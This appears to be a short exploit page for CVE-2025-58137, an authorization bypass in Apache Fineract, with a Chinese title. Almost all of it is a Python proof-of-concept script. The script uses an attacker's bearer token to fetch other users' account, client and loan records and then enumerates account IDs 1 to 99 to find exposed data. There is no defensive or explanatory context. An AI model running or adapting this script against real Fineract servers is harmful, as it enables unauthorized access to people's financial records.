CVE-2025-58137 Apache Fineract授权绕过漏洞

import requests # CVE-2025-58137 PoC - Apache Fineract Authorization Bypass # Target: Apache Fineract <= 1.11.0 # Attack: Bypass authorization via user-controlled key TARGET_URL = "http://target-server:8443/api/v1" ATTACKER_TOKEN = "attacker_auth_token_here" def exploit_authorization_bypass(): """ Exploit authorization bypass via user-controlled key parameter. Replace RESOURCE_ID with target victim's resource ID. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Identify user-controlled key parameter # Common parameters: id, resourceId, userId, accountId # Step 2: Attempt to access victim's resource by manipulating ID victim_resource_id = "VICTIM_RESOURCE_ID" # Example: Access another user's account details endpoints = [ f"{TARGET_URL}/accounts/{victim_resource_id}", f"{TARGET_URL}/clients/{victim_resource_id}", f"{TARGET_URL}/loans/{victim_resource_id}" ] for endpoint in endpoints: response = requests.get(endpoint, headers=headers) if response.status_code == 200: print(f"[SUCCESS] Unauthorized access to: {endpoint}") print(f"Response: {response.json()}") elif response.status_code == 403: print(f"[BLOCKED] Access denied to: {endpoint}") # Step 3: Test IDOR with sequential or predictable IDs for i in range(1, 100): test_endpoint = f"{TARGET_URL}/accounts/{i}" response = requests.get(test_endpoint, headers=headers) if response.status_code == 200: print(f"[VULNERABLE] Accessible resource ID: {i}") exploit_authorization_bypass()